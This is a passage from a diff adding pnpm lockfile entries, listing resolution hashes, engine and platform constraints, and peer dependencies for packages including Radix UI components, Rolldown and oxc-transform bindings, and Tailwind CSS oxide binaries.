+ '@oxc-transform/binding-openharmony-arm64@0.111.0':
+ resolution: {integrity: sha512-d8J+ejc0j5WODbVwR/QxFaI65YMwvG0W53vcVCHwa6ja1QI5lpe7sislrefG2EFYgnY47voMRzlXab5d4gEcDw==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [openharmony]
+
+ '@oxc-transform/binding-wasm32-wasi@0.111.0':
+ resolution: {integrity: sha512-HtyIZO8IwuZgXkyb56rysLz1OLbfLhEu8A3BeuyJXzUseAj96yuxgGt3cu3QYX9AXb9pfRfA3c/fvlhsDugyTQ==}
+ engines: {node: '>=14.0.0'}
+ cpu: [wasm32]
+
+ '@oxc-transform/binding-win32-arm64-msvc@0.111.0':
+ resolution: {integrity: sha512-YeP80Riptc0MkVVBnzbmoFuHVLUq278+MbwNo9sTLALmzTIJxJqN029xRZbG+Bun7aLsoZhmRnm3J5JZ1NcP5w==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [win32]
+
+ '@oxc-transform/binding-win32-ia32-msvc@0.111.0':
+ resolution: {integrity: sha512-A6ztCXpoSHt6PbvGAFqB0MLOcGG7ZJrrPXY1iB0zfOB1atLgI8oNePGxPl03XSbwpiTsFJ1oo8rj9DXcBzgT9g==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [ia32]
+ os: [win32]
+
+ '@oxc-transform/binding-win32-x64-msvc@0.111.0':
+ resolution: {integrity: sha512-QddKW4kBH0Wof6Y65eYCNHM4iOGmCTWLLcNYY1FGswhzmTYOUVXajNROR+iCXAOFnOF0ldtsR79SyqgyHH1Bgg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [win32]
+
+ '@paralleldrive/cuid2@3.3.0':
+ resolution: {integrity: sha512-OqiFvSOF0dBSesELYY2CAMa4YINvlLpvKOz/rv6NeZEqiyttlHgv98Juwv4Ch+GrEV7IZ8jfI2VcEoYUjXXCjw==}
+ hasBin: true
+
+ '@radix-ui/primitive@1.1.3':
+ resolution: {integrity: sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==}
+
+ '@radix-ui/react-alert-dialog@1.1.15':
+ resolution: {integrity: sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-arrow@1.1.7':
+ resolution: {integrity: sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-avatar@1.1.11':
+ resolution: {integrity: sha512-0Qk603AHGV28BOBO34p7IgD5m+V5Sg/YovfayABkoDDBM5d3NCx0Mp4gGrjzLGes1jV5eNOE1r3itqOR33VC6Q==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-collapsible@1.1.12':
+ resolution: {integrity: sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-collection@1.1.7':
+ resolution: {integrity: sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-compose-refs@1.1.2':
+ resolution: {integrity: sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-context@1.1.2':
+ resolution: {integrity: sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-context@1.1.3':
+ resolution: {integrity: sha512-ieIFACdMpYfMEjF0rEf5KLvfVyIkOz6PDGyNnP+u+4xQ6jny3VCgA4OgXOwNx2aUkxn8zx9fiVcM8CfFYv9Lxw==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-dialog@1.1.15':
+ resolution: {integrity: sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-direction@1.1.1':
+ resolution: {integrity: sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-dismissable-layer@1.1.11':
+ resolution: {integrity: sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-dropdown-menu@2.1.16':
+ resolution: {integrity: sha512-1PLGQEynI/3OX/ftV54COn+3Sud/Mn8vALg2rWnBLnRaGtJDduNW/22XjlGgPdpcIbiQxjKtb7BkcjP00nqfJw==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-focus-guards@1.1.3':
+ resolution: {integrity: sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-focus-scope@1.1.7':
+ resolution: {integrity: sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-id@1.1.1':
+ resolution: {integrity: sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-menu@2.1.16':
+ resolution: {integrity: sha512-72F2T+PLlphrqLcAotYPp0uJMr5SjP5SL01wfEspJbru5Zs5vQaSHb4VB3ZMJPimgHHCHG7gMOeOB9H3Hdmtxg==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-popper@1.2.8':
+ resolution: {integrity: sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-portal@1.1.9':
+ resolution: {integrity: sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-presence@1.1.5':
+ resolution: {integrity: sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-primitive@2.1.3':
+ resolution: {integrity: sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-primitive@2.1.4':
+ resolution: {integrity: sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-roving-focus@1.1.11':
+ resolution: {integrity: sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA==}
+ peerDependencies:
+ '@types/react': '*'
+ '@types/react-dom': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+ '@types/react-dom':
+ optional: true
+
+ '@radix-ui/react-slot@1.2.3':
+ resolution: {integrity: sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-slot@1.2.4':
+ resolution: {integrity: sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-use-callback-ref@1.1.1':
+ resolution: {integrity: sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-use-controllable-state@1.2.2':
+ resolution: {integrity: sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-use-effect-event@0.0.2':
+ resolution: {integrity: sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-use-escape-keydown@1.1.1':
+ resolution: {integrity: sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-use-is-hydrated@0.1.0':
+ resolution: {integrity: sha512-U+UORVEq+cTnRIaostJv9AGdV3G6Y+zbVd+12e18jQ5A3c0xL03IhnHuiU4UV69wolOQp5GfR58NW/EgdQhwOA==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-use-layout-effect@1.1.1':
+ resolution: {integrity: sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-use-rect@1.1.1':
+ resolution: {integrity: sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/react-use-size@1.1.1':
+ resolution: {integrity: sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ '@radix-ui/rect@1.1.1':
+ resolution: {integrity: sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==}
+
+ '@rolldown/binding-android-arm64@1.0.0-rc.1':
+ resolution: {integrity: sha512-He6ZoCfv5D7dlRbrhNBkuMVIHd0GDnjJwbICE1OWpG7G3S2gmJ+eXkcNLJjzjNDpeI2aRy56ou39AJM9AD8YFA==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [android]
+
+ '@rolldown/binding-darwin-arm64@1.0.0-rc.1':
+ resolution: {integrity: sha512-YzJdn08kSOXnj85ghHauH2iHpOJ6eSmstdRTLyaziDcUxe9SyQJgGyx/5jDIhDvtOcNvMm2Ju7m19+S/Rm1jFg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@rolldown/binding-darwin-x64@1.0.0-rc.1':
+ resolution: {integrity: sha512-cIvAbqM+ZVV6lBSKSBtlNqH5iCiW933t1q8j0H66B3sjbe8AxIRetVqfGgcHcJtMzBIkIALlL9fcDrElWLJQcQ==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [darwin]
+
+ '@rolldown/binding-freebsd-x64@1.0.0-rc.1':
+ resolution: {integrity: sha512-rVt+B1B/qmKwCl1XD02wKfgh3vQPXRXdB/TicV2w6g7RVAM1+cZcpigwhLarqiVCxDObFZ7UgXCxPC7tpDoRog==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [freebsd]
+
+ '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.1':
+ resolution: {integrity: sha512-69YKwJJBOFprQa1GktPgbuBOfnn+EGxu8sBJ1TjPER+zhSpYeaU4N07uqmyBiksOLGXsMegymuecLobfz03h8Q==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm]
+ os: [linux]
+
+ '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.1':
+ resolution: {integrity: sha512-9JDhHUf3WcLfnViFWm+TyorqUtnSAHaCzlSNmMOq824prVuuzDOK91K0Hl8DUcEb9M5x2O+d2/jmBMsetRIn3g==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [linux]
+
+ '@rolldown/binding-linux-arm64-musl@1.0.0-rc.1':
+ resolution: {integrity: sha512-UvApLEGholmxw/HIwmUnLq3CwdydbhaHHllvWiCTNbyGom7wTwOtz5OAQbAKZYyiEOeIXZNPkM7nA4Dtng7CLw==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [linux]
+
+ '@rolldown/binding-linux-x64-gnu@1.0.0-rc.1':
+ resolution: {integrity: sha512-uVctNgZHiGnJx5Fij7wHLhgw4uyZBVi6mykeWKOqE7bVy9Hcxn0fM/IuqdMwk6hXlaf9fFShDTFz2+YejP+x0A==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [linux]
+
+ '@rolldown/binding-linux-x64-musl@1.0.0-rc.1':
+ resolution: {integrity: sha512-T6Eg0xWwcxd/MzBcuv4Z37YVbUbJxy5cMNnbIt/Yr99wFwli30O4BPlY8hKeGyn6lWNtU0QioBS46lVzDN38bg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [linux]
+
+ '@rolldown/binding-openharmony-arm64@1.0.0-rc.1':
+ resolution: {integrity: sha512-PuGZVS2xNJyLADeh2F04b+Cz4NwvpglbtWACgrDOa5YDTEHKwmiTDjoD5eZ9/ptXtcpeFrMqD2H4Zn33KAh1Eg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [openharmony]
+
+ '@rolldown/binding-wasm32-wasi@1.0.0-rc.1':
+ resolution: {integrity: sha512-2mOxY562ihHlz9lEXuaGEIDCZ1vI+zyFdtsoa3M62xsEunDXQE+DVPO4S4x5MPK9tKulG/aFcA/IH5eVN257Cw==}
+ engines: {node: '>=14.0.0'}
+ cpu: [wasm32]
+
+ '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.1':
+ resolution: {integrity: sha512-oQVOP5cfAWZwRD0Q3nGn/cA9FW3KhMMuQ0NIndALAe6obqjLhqYVYDiGGRGrxvnjJsVbpLwR14gIUYnpIcHR1g==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [arm64]
+ os: [win32]
+
+ '@rolldown/binding-win32-x64-msvc@1.0.0-rc.1':
+ resolution: {integrity: sha512-Ydsxxx++FNOuov3wCBPaYjZrEvKOOGq3k+BF4BPridhg2pENfitSRD2TEuQ8i33bp5VptuNdC9IzxRKU031z5A==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ cpu: [x64]
+ os: [win32]
+
+ '@rolldown/pluginutils@1.0.0-rc.1':
+ resolution: {integrity: sha512-UTBjtTxVOhodhzFVp/ayITaTETRHPUPYZPXQe0WU0wOgxghMojXxYjOiPOauKIYNWJAWS2fd7gJgGQK8GU8vDA==}
+
+ '@rollup/pluginutils@5.3.0':
+ resolution: {integrity: sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==}
+ engines: {node: '>=14.0.0'}
+ peerDependencies:
+ rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0
+ peerDependenciesMeta:
+ rollup:
+ optional: true
+
+ '@rtsao/scc@1.1.0':
+ resolution: {integrity: sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==}
+
+ '@rushstack/eslint-patch@1.15.0':
+ resolution: {integrity: sha512-ojSshQPKwVvSMR8yT2L/QtUkV5SXi/IfDiJ4/8d6UbTPjiHVmxZzUAzGD8Tzks1b9+qQkZa0isUOvYObedITaw==}
+
+ '@rvf/set-get@7.0.1':
+ resolution: {integrity: sha512-GkTSn9K1GrTYoTUqlUs36k6nJnzjQaFBTTEIqUYmzBcsGsoJM8xG7EAx2WLHWAA4QzFjcwWUSHQ3vM3Fbw50Tg==}
+
+ '@sapphire/async-queue@1.5.5':
+ resolution: {integrity: sha512-cvGzxbba6sav2zZkH8GPf2oGk9yYoD5qrNWdu9fRehifgnFZJMV+nuy2nON2roRO4yQQ+v7MK/Pktl/HgfsUXg==}
+ engines: {node: '>=v14.0.0', npm: '>=7.0.0'}
+
+ '@sapphire/shapeshift@4.0.0':
+ resolution: {integrity: sha512-d9dUmWVA7MMiKobL3VpLF8P2aeanRTu6ypG2OIaEv/ZHH/SUQ2iHOVyi5wAPjQ+HmnMuL0whK9ez8I/raWbtIg==}
+ engines: {node: '>=v16'}
+
+ '@sapphire/snowflake@3.5.5':
+ resolution: {integrity: sha512-xzvBr1Q1c4lCe7i6sRnrofxeO1QTP/LKQ6A6qy0iB4x5yfiSfARMEQEghojzTNALDTcv8En04qYNIco9/K9eZQ==}
+ engines: {node: '>=v14.0.0', npm: '>=7.0.0'}
+
+ '@sinclair/typebox@0.25.24':
+ resolution: {integrity: sha512-XJfwUVUKDHF5ugKwIcxEgc9k8b7HbznCp6eUfWgu710hMPNIO4aw4/zB5RogDQz8nd6gyCDpU9O/m6qYEWY6yQ==}
+
+ '@swc/helpers@0.5.15':
+ resolution: {integrity: sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==}
+
+ '@t3-oss/env-core@0.13.10':
+ resolution: {integrity: sha512-NNFfdlJ+HmPHkLi2HKy7nwuat9SIYOxei9K10lO2YlcSObDILY7mHZNSHsieIM3A0/5OOzw/P/b+yLvPdaG52g==}
+ peerDependencies:
+ arktype: ^2.1.0
+ typescript: '>=5.0.0'
+ valibot: ^1.0.0-beta.7 || ^1.0.0
+ zod: ^3.24.0 || ^4.0.0
+ peerDependenciesMeta:
+ arktype:
+ optional: true
+ typescript:
+ optional: true
+ valibot:
+ optional: true
+ zod:
+ optional: true
+
+ '@t3-oss/env-nextjs@0.13.10':
+ resolution: {integrity: sha512-JfSA2WXOnvcc/uMdp31paMsfbYhhdvLLRxlwvrnlPE9bwM/n0Z+Qb9xRv48nPpvfMhOrkrTYw1I5Yc06WIKBJQ==}
+ peerDependencies:
+ arktype: ^2.1.0
+ typescript: '>=5.0.0'
+ valibot: ^1.0.0-beta.7 || ^1.0.0
+ zod: ^3.24.0 || ^4.0.0
+ peerDependenciesMeta:
+ arktype:
+ optional: true
+ typescript:
+ optional: true
+ valibot:
+ optional: true
+ zod:
+ optional: true
+
+ '@tailwindcss/forms@0.5.11':
+ resolution: {integrity: sha512-h9wegbZDPurxG22xZSoWtdzc41/OlNEUQERNqI/0fOwa2aVlWGu7C35E/x6LDyD3lgtztFSSjKZyuVM0hxhbgA==}
+ peerDependencies:
+ tailwindcss: '>=3.0.0 || >= 3.0.0-alpha.1 || >= 4.0.0-alpha.20 || >= 4.0.0-beta.1'
+
+ '@tailwindcss/node@4.1.18':
+ resolution: {integrity: sha512-DoR7U1P7iYhw16qJ49fgXUlry1t4CpXeErJHnQ44JgTSKMaZUdf17cfn5mHchfJ4KRBZRFA/Coo+MUF5+gOaCQ==}
+
+ '@tailwindcss/oxide-android-arm64@4.1.18':
+ resolution: {integrity: sha512-dJHz7+Ugr9U/diKJA0W6N/6/cjI+ZTAoxPf9Iz9BFRF2GzEX8IvXxFIi/dZBloVJX/MZGvRuFA9rqwdiIEZQ0Q==}
+ engines: {node: '>= 10'}
+ cpu: [arm64]
+ os: [android]
+
+ '@tailwindcss/oxide-darwin-arm64@4.1.18':
+ resolution: {integrity: sha512-Gc2q4Qhs660bhjyBSKgq6BYvwDz4G+BuyJ5H1xfhmDR3D8HnHCmT/BSkvSL0vQLy/nkMLY20PQ2OoYMO15Jd0A==}
+ engines: {node: '>= 10'}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@tailwindcss/oxide-darwin-x64@4.1.18':
+ resolution: {integrity: sha512-FL5oxr2xQsFrc3X9o1fjHKBYBMD1QZNyc1Xzw/h5Qu4XnEBi3dZn96HcHm41c/euGV+GRiXFfh2hUCyKi/e+yw==}
+ engines: {node: '>= 10'}
+ cpu: [x64]
+ os: [darwin]
+
+ '@tailwindcss/oxide-freebsd-x64@4.1.18':
+ resolution: {integrity: sha512-Fj+RHgu5bDodmV1dM9yAxlfJwkkWvLiRjbhuO2LEtwtlYlBgiAT4x/j5wQr1tC3SANAgD+0YcmWVrj8R9trVMA==}
+ engines: {node: '>= 10'}
+ cpu: [x64]
+ os: [freebsd]
+
+ '@tailwindcss/oxide-linux-arm-gnueabihf@4.1.18':
